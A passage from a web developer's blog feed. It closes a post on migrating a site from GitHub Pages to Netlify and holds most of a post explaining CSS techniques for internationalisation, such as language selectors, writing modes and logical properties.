&lt;h2&gt;Changing hosts from GitHub Pages to Netlify&lt;/h2&gt;
&lt;p&gt;At this point I was expecting the migration to explode and my site to be down for hours but surprisingly, it took all of ten minutes to pull this off. Netlify is magical. Slight complication was the fact that I ran my site through Cloudflare.&lt;/p&gt;
&lt;p&gt;But the documentation was pretty clear, and I found this post by &lt;a href=&quot;https://jaketrent.com/post/cloudflare-dns-netlify-host/&quot;&gt;Jake Trent&lt;/a&gt; which I followed to a tee together with the &lt;a href=&quot;https://docs.netlify.com/domains-https/custom-domains/configure-external-dns/&quot;&gt;Netlify instructions&lt;/a&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;On Cloudflare, change the &lt;code&gt;A&lt;/code&gt; record to point to &lt;code&gt;104.198.14.52&lt;/code&gt;, which is Netlify&apos;s load balancer as of time of writing. This may or may not change in future. Check the docs!&lt;/li&gt;
&lt;li&gt;Also change the &lt;code&gt;CNAME&lt;/code&gt; for &lt;code&gt;www&lt;/code&gt; (if you have it) to point to &lt;code&gt;YOUR_SITE_NAME.netlify.app&lt;/code&gt; from &lt;code&gt;GITHUB_USERNAME.github.io&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Make sure the &lt;em&gt;Proxy status&lt;/em&gt; says &lt;strong&gt;DNS only&lt;/strong&gt; (your cloud icon should be greyed out not orange)&lt;/li&gt;
&lt;li&gt;On Netlify, add your custom domain under &lt;em&gt;Domain Settings&lt;/em&gt;. Click verify when you see it. You don&apos;t have to point your name servers and stuff.&lt;/li&gt;
&lt;li&gt;Also do the SSL stuff in the section below. This takes a tiny bit of time to sort itself out (less than ten minutes for me) and your site should work fine with HTTPS and all.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Netlify forms are AH-MAZING&lt;/h3&gt;
&lt;p&gt;My broke-ass solution for a contact form was to run it through &lt;a href=&quot;https://getsimpleform.com/&quot;&gt;Simple Form&lt;/a&gt;. It used to work fine, but some where along the lines, the spam filter stopped working. I got massive amounts of spam. MASSIVE.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.netlify.com/products/forms/&quot;&gt;Netlify&lt;/a&gt; offers 100 submissions per month on the free tier, which is more than enough because &lt;strong&gt;SPAM SUBMISSIONS DON&apos;T COUNT&lt;/strong&gt;. And all I needed to do was add the &lt;code&gt;data-netlify=true&lt;/code&gt; attribute to my form. Easy-peasy lemon-squeezy.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;My eyeballs were falling out of my skull at this point. But after three days, and oh-so-much Googling, &lt;kbd&gt;⌘&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; and &lt;kbd&gt;⌘&lt;/kbd&gt;-&lt;kbd&gt;Tab&lt;/kbd&gt; / &lt;kbd&gt;⌘&lt;/kbd&gt;-&lt;kbd&gt;~&lt;/kbd&gt; pressing, muttering and swearing, the site was migrated successfully.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;finally bit the bullet and migrated my website from &lt;a href=&quot;https://twitter.com/jekyllrb?ref_src=twsrc%5Etfw&quot;&gt;@jekyllrb&lt;/a&gt; on &lt;a href=&quot;https://twitter.com/hashtag/githubpages?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#githubpages&lt;/a&gt; to &lt;a href=&quot;https://twitter.com/GoHugoIO?ref_src=twsrc%5Etfw&quot;&gt;@GoHugoIO&lt;/a&gt; on &lt;a href=&quot;https://twitter.com/Netlify?ref_src=twsrc%5Etfw&quot;&gt;@Netlify&lt;/a&gt;. it took 3 days and my eyeballs are falling out of my skull. &lt;br&gt;can u see a difference? (the answer should be no, unless u have a photographic memory to spot the tiny diff)&lt;/p&gt;&amp;mdash; HJ Chen (@hj_chen) &lt;a href=&quot;https://twitter.com/hj_chen/status/1254789779192864770?ref_src=twsrc%5Etfw&quot;&gt;April 27, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;The last bit of housekeeping was to check for broken links and boy did I break things. I had to fix all the GitHub project links which assumed that &lt;code&gt;huijing.github.io&lt;/code&gt; was still equivalent to &lt;code&gt;https:www.chenhuijing.com&lt;/code&gt; and replace those accordingly.&lt;/p&gt;
&lt;p&gt;I also kept the Jekyll site up at the original GitHub pages host with some added styles to indicate it was an archival site and not active any more. If you read through this whole thing, I&apos;m genuinely amazed. It&apos;s so long. So many words. I write too much nonsense but don&apos;t plan to change.&lt;/p&gt;
&lt;p&gt;Anyway. I&apos;m off enjoying my lightning fast builds now. kthxbye. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;tumbler glass&quot;&gt;🥃&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>CSS for internationalisation</title><link>https://chenhuijing.com/blog/css-for-i18n/</link><guid isPermaLink="true">https://chenhuijing.com/blog/css-for-i18n/</guid><description>I&apos;ve come across people who do not think that CSS is related to internationalisation at all, but if you think about it, internationalisation is more than…</description><pubDate>Sun, 19 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve come across people who do not think that CSS is related to internationalisation at all, but if you think about it, internationalisation is more than translating the content on your site into multiple languages and calling it a day. There are various nuances to the presentation of that content which affect the experience of a native speaker using your site.&lt;/p&gt;
&lt;p&gt;There is no single canonical definition for internationalisation but the W3C offers the following guidance:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Internationalisation is the design and development of a product, application or document that &lt;strong&gt;enables&lt;/strong&gt; easy localisation for target audiences that vary in culture, region, or language.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a lot of ground to cover, from use of Unicode and character encodings, to the technical implementations of serving translated content, as well as the presentation of said content. Today I&apos;m only going to cover the CSS-related aspects of multilingual support.&lt;/p&gt;
&lt;p&gt;CSS is used to describe the presentation of a web page by telling the browser how elements on the page ought to be styled and laid out. There are several methods we can use to apply different styles to different languages on a multilingual page with CSS.&lt;/p&gt;
&lt;p&gt;In addition, there are CSS properties that provide layout and typographic capabilities for scripts and writing systems beyond the Latin-based horizontal top-to-bottom ones that are predominantly seen on the web today.&lt;/p&gt;
&lt;p&gt;So buckle up, because this might end up being a pretty lengthy article. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Language-related styling&lt;/h2&gt;
&lt;p&gt;Have you ever wondered how Chrome knows to ask you if you&apos;d like a web page&apos;s content to be translated? No? Okay, maybe it&apos;s just me then. But it&apos;s because of the &lt;code&gt;lang&lt;/code&gt; attribute on the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; element.&lt;/p&gt;
&lt;img src=&quot;/images/posts/css-i18n/chrome.png&quot; srcset=&quot;/images/posts/css-i18n/chrome@2x.png 2x&quot; alt=&quot;Google translate pop-up built into Chrome&quot;&gt;
&lt;p&gt;The &lt;code&gt;lang&lt;/code&gt; attribute is a pretty important one because it identifies the language of textual content on the web, and this information is used in many places. The aforementioned built-in translation of Chrome, search engines for language-specific content, as well as screen readers.&lt;/p&gt;
&lt;p&gt;Ah hah, maybe the screen reader bit didn&apos;t occur to you, but if you&apos;re not a screen reader user or know folks who are, it probably isn&apos;t top of mind. Screen readers make use of language information so it can read out the content in the appropriate accent and correct pronunciation.&lt;/p&gt;
&lt;p&gt;The key to language-related styling lies in appropriate usage of the &lt;code&gt;lang&lt;/code&gt; attribute in your page markup. The &lt;code&gt;lang&lt;/code&gt; attribute recognises the &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes&quot;&gt;ISO 639 language codes&lt;/a&gt; as values.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: &lt;a href=&quot;http://tobib.spline.de/xi/&quot;&gt;Tobias Bengfort&lt;/a&gt; pointed out that the &lt;code&gt;lang&lt;/code&gt; attribute &lt;a href=&quot;https://www.w3.org/International/questions/qa-html-language-declarations&quot;&gt;uses an IETF specification called BCP 47&lt;/a&gt;, which is largely based on ISO 639.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For most cases, you would use a two-letter codes like &lt;code&gt;zh&lt;/code&gt; for Chinese, but Chinese (among other languages like Arabic) is considered a macrolanguage that consist of a number of languages with more specific primary language subtags.&lt;/p&gt;
&lt;p&gt;Refer to &lt;a href=&quot;https://www.w3.org/International/articles/language-tags/&quot;&gt;Language tags in HTML and XML&lt;/a&gt; for an in-depth explanation on how to construct language tags.&lt;/p&gt;
&lt;p&gt;The general guidance is that the &lt;code&gt;html&lt;/code&gt; element must always have a &lt;code&gt;lang&lt;/code&gt; attribute set, which is then inherited by all other elements.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;html lang=&amp;quot;zh&amp;quot;&amp;gt;&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is not uncommon to see content of different languages on the same page. In this case, you would wrap that content with a &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; or a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; and apply the correct &lt;code&gt;lang&lt;/code&gt; attribute onto that wrapping element.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;p&amp;gt;The fourth animal in the Chinese Zodiac is Rabbit (&amp;lt;span lang=&amp;quot;zh&amp;quot;&amp;gt;兔子&amp;lt;/span&amp;gt;).&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we&apos;ve got that sorted, the following techniques will bear the assumption that &lt;code&gt;lang&lt;/code&gt; attributes have been implemented responsibly.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;:lang()&lt;/code&gt; pseudo-class selector&lt;/h3&gt;
&lt;p&gt;Turns out the &lt;code&gt;:lang()&lt;/code&gt; pseudo-class selector is not that well-known.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-i18n/comment-480.jpg 480w, /images/posts/css-i18n/comment-640.jpg 640w, /images/posts/css-i18n/comment-960.jpg 960w, /images/posts/css-i18n/comment-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-i18n/comment-640.jpg&quot; alt=&quot;Comment thread on DEV.to on sharing CSS knowledge&quot;&gt;
&lt;p&gt;But this pseudo-class selector is pretty cool because it recognises the language of the content even if the language is declared outside the element.&lt;/p&gt;
&lt;p&gt;For example, a line of markup with two languages like so:&lt;/p&gt;
&lt;!-- prettier-ignore --&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;p&amp;gt;
  We use &amp;lt;em&amp;gt;italics&amp;lt;/em&amp;gt; to emphasise words in English, &amp;lt;span lang=&amp;quot;zh&amp;quot;&amp;gt;但是中文则是用&amp;lt;em&amp;gt;着重号&amp;lt;/em&amp;gt;&amp;lt;/span&amp;gt;.
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Can be styled with the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;em:lang(zh) {
  font-style: normal;
  text-emphasis: dot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your browser supports the &lt;code&gt;text-emphasis&lt;/code&gt; CSS property, you should be able to see emphasis marks (a typographic symbol traditionally used for emphasis on a run of East Asian text) added to each Chinese character within the &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt;. Chrome needs the &lt;code&gt;-webkit-&lt;/code&gt; prefix, boo.&lt;/p&gt;
&lt;p&gt;We use &lt;em&gt;italics&lt;/em&gt; to emphasise words in English, &lt;span lang=&quot;zh&quot;&gt;但是中文则是用&lt;em&gt;着重号&lt;/em&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;style&gt;em:lang(zh) {
  font-style: normal;
  -webkit-text-emphasis: dot;
  text-emphasis: dot;
}&lt;/style&gt;
&lt;p&gt;But the point is, the &lt;code&gt;lang&lt;/code&gt; attribute was not applied on the &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; element, but on its parent. The pseudo-class still works. If we used the more commonly known attribute selectors, e.g. &lt;code&gt;[lang=&amp;quot;zh]&lt;/code&gt;, this attribute must be on the &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; element to take effect.&lt;/p&gt;
&lt;h3&gt;Using attribute selectors&lt;/h3&gt;
&lt;p&gt;Which brings me to our next technique, using attribute selectors. These let us select elements with certain attributes or attributes of a certain value. (&lt;em&gt;shameless plug time, for more on attribute selectors, try this &lt;a href=&quot;https://tympanus.net/codrops/css_reference/attribute-selectors/&quot;&gt;Codrops CSS reference entry&lt;/a&gt; written by yours truly&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;There are seven ways to match attribute selectors, but I&apos;ll only talk about those I think are more relevant to matching the &lt;code&gt;lang&lt;/code&gt; attribute. All my examples with use Chinese as the targeted language, so &lt;code&gt;zh&lt;/code&gt; and its variants.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: &lt;a href=&quot;https://twitter.com/AmeliasBrain/status/1253053272585146368&quot;&gt;Amelia Bellamy-Royds&lt;/a&gt; pointed out that my examples make it seem like attribute selectors are neccessary to do partial language tag matching, but the &lt;code&gt;:lang()&lt;/code&gt; pseudo-class covers that use-case already.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;First, we can match the &lt;code&gt;lang&lt;/code&gt; attribute value exactly using this syntax:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;[lang=&amp;quot;zh&amp;quot;]
/* will match only zh */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I mentioned earlier that Chinese is considered a macrolanguage , which means its language tag can be composed with additional specifics, e.g. script subtags &lt;code&gt;Hans&lt;/code&gt; or &lt;code&gt;Hant&lt;/code&gt; (&lt;em&gt;W3C says only use script subtags if they are necessary to make a distinction you need, otherwise don&apos;t&lt;/em&gt;), region subtag &lt;code&gt;HK&lt;/code&gt; or &lt;code&gt;TW&lt;/code&gt; and so on.&lt;/p&gt;
&lt;p&gt;The point is, language tags can be longer than just two letters. But the most generalised category always comes first, so to target attribute values that &lt;strong&gt;start&lt;/strong&gt; with a particular string, we use this syntax involving the &lt;code&gt;^&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;[lang^=&amp;quot;zh&amp;quot;]
/* will match zh, zh-HK, zh-Hans, zhong, zh123…
 * basically anything with zh as the first 2 characters */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is another syntax involving the &lt;code&gt;|&lt;/code&gt;, which will match the exact value in your selector &lt;strong&gt;or&lt;/strong&gt; a value that starts with your value immediately followed by a &lt;code&gt;-&lt;/code&gt;. This seems like it was made just for language subcode matching, no?&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;[lang|=&amp;quot;zh&amp;quot;]
/* will match zh, zh-HK, zh-Hans, zh-amazing, zh-123 */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Do remember that for attribute selectors, the attribute has to be on the element you want styled, it won&apos;t work if it&apos;s on a parent or ancestor. Note that the examples I&apos;ve come up with for partial language tag matching can already be done with the &lt;code&gt;:lang()&lt;/code&gt; pseudo-class.&lt;/p&gt;
&lt;p&gt;In other words, &lt;code&gt;:lang(en)&lt;/code&gt; will match &lt;code&gt;lang=&amp;quot;en-US&amp;quot;&lt;/code&gt;, &lt;code&gt;lang=&amp;quot;en-GB&amp;quot;&lt;/code&gt; and so on, in addition to &lt;code&gt;lang=&amp;quot;en&amp;quot;&lt;/code&gt;. I will update the examples when I can come up with better ones. Meanwhile, go for the &lt;code&gt;:lang()&lt;/code&gt; pseudo-class.&lt;/p&gt;
&lt;h3&gt;How about normal classes or ids?&lt;/h3&gt;
&lt;p&gt;Yes. You can use normal classes or ids. Though you&apos;d no longer be making use of the convenience of what is already on your element. (&lt;em&gt;Again, my assumption is the &lt;code&gt;lang&lt;/code&gt; attribute is being applied correctly and responsibly&lt;/em&gt;) But sure, go ahead and give your elements class names for applying specific language-related styling if you &lt;em&gt;really&lt;/em&gt; want to, nobody will stop you.&lt;/p&gt;
&lt;h2&gt;CSS properties&lt;/h2&gt;
&lt;p&gt;Okay, selectors covered. Let&apos;s talk about the styles we want applied to elements that match those selectors.&lt;/p&gt;
&lt;h3&gt;Writing mode&lt;/h3&gt;
&lt;p&gt;The default value for &lt;code&gt;writing-mode&lt;/code&gt; is &lt;code&gt;horizontal-tb&lt;/code&gt;. Perfectly logical because the web was born at CERN, where the official languages are English and French. Moreover, most of web technologies were pioneered in English-speaking countries anyway (I think).&lt;/p&gt;
&lt;p&gt;But the wondrous-ness of humanity gave us more than 3000 written languages with scripts and writing directions beyond a horizontal top-to-bottom orientation.&lt;/p&gt;
&lt;p&gt;The traditional Mongolian script runs vertically from left-to-right, while East Asian languages like Japanese, Chinese and Korean, when written vertically, runs from right-to-left. The writing mode properties that let you do that are &lt;code&gt;vertical-lr&lt;/code&gt; and &lt;code&gt;vertical-rl&lt;/code&gt; respectively.&lt;/p&gt;
&lt;div class=&quot;lang&quot;&gt;
  &lt;p lang=&quot;mon-Mong&quot;&gt;ᠬᠦᠮᠦᠨ ᠪᠦᠷ ᠲᠥᠷᠥᠵᠦ ᠮᠡᠨᠳᠡᠯᠡᠬᠦ ᠡᠷᠬᠡ ᠴᠢᠯᠥᠭᠡ ᠲᠡᠢ᠂ ᠠᠳᠠᠯᠢᠬᠠᠨ ᠨᠡᠷ᠎ᠡ ᠲᠥᠷᠥ ᠲᠡᠢ᠂ ᠢᠵᠢᠯ ᠡᠷᠬᠡ ᠲᠡᠢ ᠪᠠᠢᠠᠭ᠃ ᠣᠶᠤᠨ ᠤᠬᠠᠭᠠᠨ᠂ ᠨᠠᠨᠳᠢᠨ ᠴᠢᠨᠠᠷ ᠵᠠᠶᠠᠭᠠᠰᠠᠨ ᠬᠦᠮᠦᠨ ᠬᠡᠭᠴᠢ ᠥᠭᠡᠷ᠎ᠡ ᠬᠣᠭᠣᠷᠣᠨᠳᠣ᠎ᠨ ᠠᠬᠠᠨ ᠳᠡᠭᠦᠦ ᠢᠨ ᠦᠵᠢᠯ ᠰᠠᠨᠠᠭᠠ ᠥᠠᠷ ᠬᠠᠷᠢᠴᠠᠬᠥ ᠤᠴᠢᠷ ᠲᠠᠢ᠃&lt;/p&gt;
  &lt;p lang=&quot;ja&quot;&gt;すべての人間は、生まれながらにして自由であり、かつ、尊厳と権利と について平等である。人間は、理性と良心とを授けられており、互いに同 胞の精神をもって行動しなければならない。&lt;/p&gt;
&lt;/div&gt;
&lt;style&gt;.lang { display:flex;flex-wrap:wrap;justify-content:space-around }
p[lang] { width:max-content;height:15em }
p[lang|=&quot;mon&quot;] { writing-mode:vertical-lr }
p[lang=&quot;ja&quot;] { writing-mode:vertical-rl }&lt;/style&gt;
&lt;p&gt;There are also the values of &lt;code&gt;sideways-lr&lt;/code&gt; and &lt;code&gt;sideways-rl&lt;/code&gt;, which rotate the glyphs sideways. Every Unicode character has a vertical orientation property that informs rendering engines how the glyph should be oriented by default.&lt;/p&gt;
&lt;p&gt;We can change the character&apos;s orientation with the &lt;code&gt;text-orientation&lt;/code&gt; property. This usually comes into play when you have vertically typeset East Asian text interspersed with Latin-based words or characters. For abbreviations, you have the option of using &lt;code&gt;text-combine-upright&lt;/code&gt; to squeeze the letters into one character space.&lt;/p&gt;
&lt;div class=&quot;lang&quot;&gt;
  &lt;p lang=&quot;zh-TW&quot; style=&quot;writing-mode:vertical-rl&quot;&gt;國家籃球協會（英語：&lt;span lang=&quot;en&quot;&gt;National Basketball Association&lt;/span&gt;，縮寫：&lt;span lang=&quot;en&quot; style=&quot;text-orientation:upright&quot;&gt;NBA&lt;/span&gt;）是北美的男子職業籃球聯盟。&lt;/p&gt;
  &lt;p lang=&quot;zh-TW&quot; style=&quot;writing-mode:vertical-rl&quot;&gt;國家籃球協會（英語：&lt;span lang=&quot;en&quot;&gt;National Basketball Association&lt;/span&gt;，縮寫：&lt;span lang=&quot;en&quot; style=&quot;text-combine-upright:all&quot;&gt;NBA&lt;/span&gt;）是北美的男子職業籃球聯盟。&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Some of you might wonder about right-to-left languages like Arabic, Hebrew or Farsi (just to name a few), and whether CSS is applicable for those scripts as well. The short answer is CSS should &lt;strong&gt;not&lt;/strong&gt; be used for bi-directional styling. Guidance from the W3C is as follows:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Because directionality is an integral part of the document structure, markup should be used to set the directionality for a document or chunk of information, or to identify places in the text where the Unicode bidirectional algorithm alone is insufficient to achieve desired directionality.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is because styling applied via CSS has the possibility of being turned off, being overridden, going unrecognised, or being changed/replaced in different contexts. Instead, use of the &lt;code&gt;dir&lt;/code&gt; attribute to set the base direction of text for display is the recommended approach.&lt;/p&gt;
&lt;p&gt;I highly recommend referring to &lt;a href=&quot;https://www.w3.org/International/questions/qa-html-dir&quot;&gt;Structural markup and right-to-left text in HTML&lt;/a&gt;, &lt;a href=&quot;https://www.w3.org/International/questions/qa-bidi-css-markup&quot;&gt;CSS vs. markup for bidi support&lt;/a&gt; and &lt;a href=&quot;https://www.w3.org/International/articles/inline-bidi-markup/&quot;&gt;Inline markup and bidirectional text in HTML&lt;/a&gt; for more detailed explanations and implementation details.&lt;/p&gt;
&lt;h3&gt;Logical properties&lt;/h3&gt;
&lt;p&gt;Everything on a web page is a box, and CSS has always used the physical directions of &lt;code&gt;top&lt;/code&gt;, &lt;code&gt;bottom&lt;/code&gt;, &lt;code&gt;left&lt;/code&gt; and &lt;code&gt;right&lt;/code&gt; to indicate which side of the box we&apos;re targeting. But when writing modes not oriented in the default horizontal top-to-bottom direction, these values tend to get confusing.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;Because the specification is still in Editor&apos;s Draft status, the syntax may change moving forward. Even now, the current browser implementation is different from what is in the specification, so be sure to double-check with &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Logical_Properties&quot;&gt;MDN: CSS Logical Properties and Values&lt;/a&gt; on the most updated syntax.&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Update: &lt;a href=&quot;https://twitter.com/davidbaron/status/1253101251102793728&quot;&gt;David Baron&lt;/a&gt; pointed out I was using the old syntax in the previous version of the specification and the syntax implemented in browsers is actually the one in the Editor&apos;s Draft. Table has been updated accordingly.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The matrix of writing directions and their corresponding values for a box&apos;s physical sides and logical sides for positioning are as follows (the table has been lifted from the specification as of time of writing):&lt;/p&gt;
&lt;div style=&quot;overflow-x:scroll;margin-bottom:1rem&quot;&gt;
  &lt;table style=&quot;font-size:80%;border-collapse:collapse;text-align:center;width:100%&quot;&gt;
    &lt;thead style=&quot;background-color:#3d3d3e;color:white;font-weight:bold&quot;&gt;
      &lt;tr&gt;
        &lt;th style=&quot;border:1px solid white&quot; colspan=&quot;2&quot; rowspan=&quot;3&quot;&gt;&lt;/th&gt;
        &lt;td style=&quot;border:1px solid white&quot; colspan=&quot;6&quot;&gt;writing-mode / direction&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border:1px solid white&quot; colspan=&quot;2&quot;&gt;horizontal-tb&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot; colspan=&quot;2&quot;&gt;vertical-rl&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot; colspan=&quot;2&quot;&gt;vertical-lr&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;ltr&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;rtl&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;ltr&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;rtl&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;ltr&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;rtl&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border:1px solid&quot; rowspan=&quot;4&quot;&gt;&lt;div style=&quot;writing-mode:vertical-rl;transform:rotate(180deg);font-weight:bold&quot;&gt;Edge&lt;/div&gt;&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;&lt;div style=&quot;writing-mode:vertical-rl;transform:rotate(180deg);font-weight:bold;padding:0.5em 0&quot;&gt;top&lt;/div&gt;&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;div style=&quot;writing-mode:vertical-rl;transform:rotate(180deg);font-weight:bold;padding:0.5em 0&quot;&gt;right&lt;/div&gt;&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;&lt;div style=&quot;writing-mode:vertical-rl;transform:rotate(180deg);font-weight:bold;padding:0.5em 0&quot;&gt;bottom&lt;/div&gt;&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;&lt;div style=&quot;writing-mode:vertical-rl;transform:rotate(180deg);font-weight:bold;padding:0.5em 0&quot;&gt;left&lt;/div&gt;&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;The logical top of a container uses &lt;code&gt;inset-block-start&lt;/code&gt;, while the logical bottom of a container uses &lt;code&gt;inset-block-end&lt;/code&gt;. The logical left of a container uses &lt;code&gt;inset-inline-start&lt;/code&gt;, while the logical right of a container uses &lt;code&gt;inset-inline-end&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There are also corresponding mappings for borders, margins and paddings, which are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;top&lt;/code&gt; to &lt;code&gt;block-start&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;right&lt;/code&gt; to &lt;code&gt;inline-end&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bottom&lt;/code&gt; to &lt;code&gt;block-end&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;left&lt;/code&gt; to &lt;code&gt;inline-start&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;572&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-slug-hash=&quot;XWmKByZ&quot; style=&quot;height: 572px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;CSS Logical properties demo for borders&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/XWmKByZ&quot;&gt;
  CSS Logical properties demo for borders&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
